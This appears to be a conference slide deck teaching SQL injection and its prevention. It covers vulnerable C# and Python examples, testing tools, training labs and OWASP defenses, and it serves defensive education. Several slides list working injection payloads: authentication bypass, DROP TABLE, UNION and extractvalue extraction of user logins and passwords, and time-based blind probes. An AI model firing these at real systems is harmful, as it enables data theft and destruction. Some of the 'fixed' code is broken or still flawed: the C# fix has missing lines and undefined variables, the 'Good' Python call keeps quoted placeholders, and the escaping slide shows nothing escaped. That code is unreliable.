Hack through Injections

Hacking through Injections.
Theory and practice
Specially for IT-Weekend Lviv
OWASP-LVIV.blogspot.com By Nazar Tymoshyk, SoftServe

Theory:
CODE problems
Impact
How to find
How to prevent
Practice:
Small hack
References
Training Lab
Agenda

What do you see in this request?
GET /api/shop/discount?shopId=3&productId=1584&coupon=1y3z9 HTTP/1.1
Host: superdupershop.com
Cookie: ASP.NET_SessionId=10g5o4zjkmbd2i552d5j3255;.ASPXAUTH=
f2d345118221742ee0316d4080a53af014eb8a3161db421d36aa6a86ffea6781b5584f
4157ec85ae5956cfc54cc93c34a3f9449c8ef4c70b5b54d46e0def3677cce9a810534
0b8ccc6c8e64dfa37ae953f987517

What is SQL Injection?
Unauthorized database access by an external
source using specially crafted code to
piggyback on standard user input to bypass
normal protections.
Why?
Gain access to restricted website areas
Query unauthorized data
Delete or corrupt data
 User accounts, credentials, and personal
information
 Descriptions and prices of goods for sale
 Orders, account statements, and payment
details
 The privileges of each user within the
application

This is a real problem and it’s dangerous
• DoS
• Data loss or corruption
• Data leakage
• Sometimes can lead to complete host
takeover
• Reputation can be harmed.

Let’s start from smallHACK
http://127.0.0.1:8888/mutillidae/

SQL-i
SELECT * FROM users WHERE username = ‘marcus’ and password = ‘secret’
INJECT : admin’--
SELECT * FROM users WHERE username = ‘admin’ -- ’ AND password = ‘foo’
SELECT * FROM users WHERE username = ‘admin’

Training Lab • DVWA
• Gruyere
• WebGoat .Net
• WebGoat Java
• https://xss-game.
appspot.com/
• OWASP Mutillidae II
• OWASP Broken Web
Applications Project
• https://www.hacking-lab.
com

Aha, here is a source code for firsrequest
var shopId = Request["shopId"];
var productId = Request["productId"];
var coupon = Request["coupon"];
var couponPattern = string.Format("{0}-{1}-{2}", shopId, productId, coupon);
var sqlCommandTxt = string.Format(" SELECT value FROM Discounts WHERE
coupon LIKE {0}", coupon);
var cmd = new SqlCommand(sqlCommandTxt, dataConnection);
// Execute query, process result etc...

Let’s Fix this code.
var shopId = Request["shopId"];
var productId = Request["productId"];
var cmd = new SqlCommand("SELECT * FROM Discounts WHERE coupon LIKE
@couponPattern", dataConnection);
cmd.Parameters.Add(new SqlParameter("@couponPattern", couponPattern));
Is it fixed?

Now it’s fixed
var shopId = 0;
if (!int.TryParse(Request["shopId"], out shopId))
{ throw new InvalidArgumentException();
}
var productId = 0;
if (!int.TryParse(Request["productId"], out productId))
}
if (!Regex.IsMatch(coupon, "^[A-Za-z0-9]{5}$"))
}
var cmd = new SqlCommand("SELECT * FROM Discounts WHERE coupon=@couponPattern", dataConnection);
cmd.Parameters.Add(new SqlParameter("@couponPattern", couponPattern));

Python Code
import MySQLdb
def book_search_view(request):
if 'bookname' not in request.GET:
raise Http404
conn = MySQLdb.connect (host = "localhost", user = "testuser", passwd = "testpass", db =
"test")
cursor = conn.cursor ()
name = request.GET['bookname']
cursor.execute ("SELECT * FROM table_books WHERE book_name = ‘%s’" % name)
row = cursor.fetchone ()
cursor.close ()
conn.close ()
return render_to_response('booklist.html', row,
context_instance=RequestContext(request))

A small problem
• Normal SQL
• name=“Moby Dick”
SELECT * FROM table_books WHERE book_name = ‘Moby Dick’
• SQL Injection – bad day
• name=“1’; SELECT * from Users; --”
SELECT * FROM table_books WHERE book_name = ‘1’;
SELECT * from Users;
--’
• SQL Injection 2 – really bad day
• name=“1’; DROP TABLE Users; --”
SELECT * FROM table_books WHERE book_name = ‘1’;
DROP TABLE Users;
--’

TOOLS 1. sqlmap: automatic SQL injection and
database takeover tool
2. SQL Inject Me :: Add-ons for Firefox
3. Zed Attack Proxy
4. Burp Suite
5. W3AF
6. Wapiti
7. Havij Pro
8. Nikto
9. IronWASP

DEMO 2
Testing security tools:
•SQL Map
•Burp Suite

MANUAL Penetration Testing
• Error
• Union
In-band
• Dns
• Ping
Out-band
• Sleep
•Waitfor
Inferential
(Blind)

This is old problem BLIND
• sleep%281%29%2b1%29%20limit%201%20--
• sleep(1)+1) limit 1 --
• 1+and+sleep(10)--
• 1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),1,1)))='a',sleep(10),1)--
• 1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),1,1)))='2',sleep(10),1)--
• +OR+1=1--
• +union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns--
• +union+select+concat_ws(0x3a,id,login,password,name)+from+users--
• +union+select+concat_ws(0x3a,id,login,password,name)+from+users--
• +AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+li
mit+0,1)))--
• +AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+w
here+table_schema!='information_schema'+limit+0,1)))--

Typical examples of cases when an
application needs to talk to a DB include:
The first step in this test is to understand when the application
interacts with a DB Server in order to access some data.
1. Authentication forms: when authentication is performed using a
web form, chances are that the user credentials are checked
against a database that contains all usernames and passwords (or,
better, password hashes).
2. Search engines: the string submitted by the user could be used in
a SQL query that extracts all relevant records from a database.
3. E-Commerce sites: the products and their characteristics (price,
description, availability, etc) are very likely to be stored in a
database.

General approaches to SQL Injection
Defense
Primary Defenses:
Option #1: Use of Prepared Statements (Parameterized Queries)
Option #2: Use of Stored Procedures
Option #3: Escaping all User Supplied Input
Additional Defenses:
Also Enforce: Least Privilege
Also Perform: White List Input Validation
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

Where to Learn more
• http://www.pluralsight.com/courses/web-security-owasp-top10-big-picture
• http://www.pluralsight.com/courses/owasp-top10-aspdotnet-application-
security-risks
• http://www.irongeek.com/i.php?page=security/hackingillustrated
• http://google-gruyere.appspot.com/
• https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-
005)

http://OWASP-LVIV.blogspot.com

Thank you
Contact me:
Nazar Tymoshyk
Skype: root_nt
Gmail: root.nt@gmail.com http://OWASP-LVIV.blogspot.com

Blind SQL injections
http://site/?param=-1 OR 1=1
http://site/?param=-1 OR 1=1--
...
http://site/?param=-1'
http://site/?param=-1' AND 1=2
...
http://site/?param=-1' OR '1'='1
...
http://site/?param=-1"/*
...
http://site/?param=2
http://site/?param=1
http://site/?param=2-1
...
http://site/?param=1' AND 1=1
http://site/?param=1' AND '1'='1

Double Blind SQL-i
• http://site/?param=-1 AND benchmark(2000,md5(now()))
• ...
• http://site/?param=-1' AND benchmark(2000,md5(now()))--

Escape User Input
• Hard to do right
• You’ll probably screw it up if you don’t cover all the cases
• So don’t write your own regex
• MySQLdb.escape_string
• Pro: Handles almost all encoding evasions
• Con: Error prone because it depends on humans to always use it

import MySQLdb
def book_search_view(request):
if 'bookname' not in request.GET:
raise Http404
conn = MySQLdb.connect (host = "localhost", user = "testuser",
passwd = "testpass", db = "test")
cursor = conn.cursor ()
name = MySQLdb.escape_string(request.GET['bookname'] )
cursor.execute ("SELECT * FROM table_books WHERE book_name = ‘%s’" %
name)
row = cursor.fetchone ()
cursor.close ()
conn.close ()
return render_to_response('booklist.html', row,
context_instance=RequestContext(request))

What does the escaped version
look like?
• SQL Injection – bad day
• name=“1’; SELECT * from Users; --”
SELECT * FROM table_books WHERE book_name = ‘1’; SELECT * from Users; --’
• SQL Injection 2 – really bad day
• name=“1’; DROP TABLE Users; --”
SELECT * FROM table_books WHERE book_name = ‘1’;DROP TABLE Users; --’

Evasion Techniques
http://www.f5.com/pdf/white-papers/sql-injection-detection-wp.pdf

Even more Evasion Techniques
• Multibyte atttacks
• http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
• http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html
• Even the experts don’t get it right
• MySQL patches bugs in their escaping routines

White List
• Scrub data to a known set of inputs
• Pros
• Works well for variables with limited range
• Fast
• Cons
• Can only be used in customized locations
• Error prone
• You might forgot
• Or the intern might not understand
• Example: user id must only contain 6 numbers

Stored Procedures
• Use the inherent store procedure capabilities
• Pros
• Forces parameterization of all user input
• Cons
• Can still be bypassed if sql string is generated in code and passed to stored
procedure
• Not portable between databases

Parameterized Queries
• Use DB API (mysqldb.execute) properly
• Use Django ORM
• Use SQLAlchemy (pylons, flask)
• Really have to work hard to expose yourself
• Pros
• Generally easier to model data
• Cons
• ORMs sometimes limit advanced SQL
• Bottom line: use a framework!

MySQLdb.execute
Bad:
cursor.execute ("SELECT * FROM table_books WHERE book_name = ‘%s’" % name)
Good:
cursor.execute ("SELECT * FROM table_books WHERE book_name = ‘%s’" , name)
Seriously?
Yes

Hack through Injections

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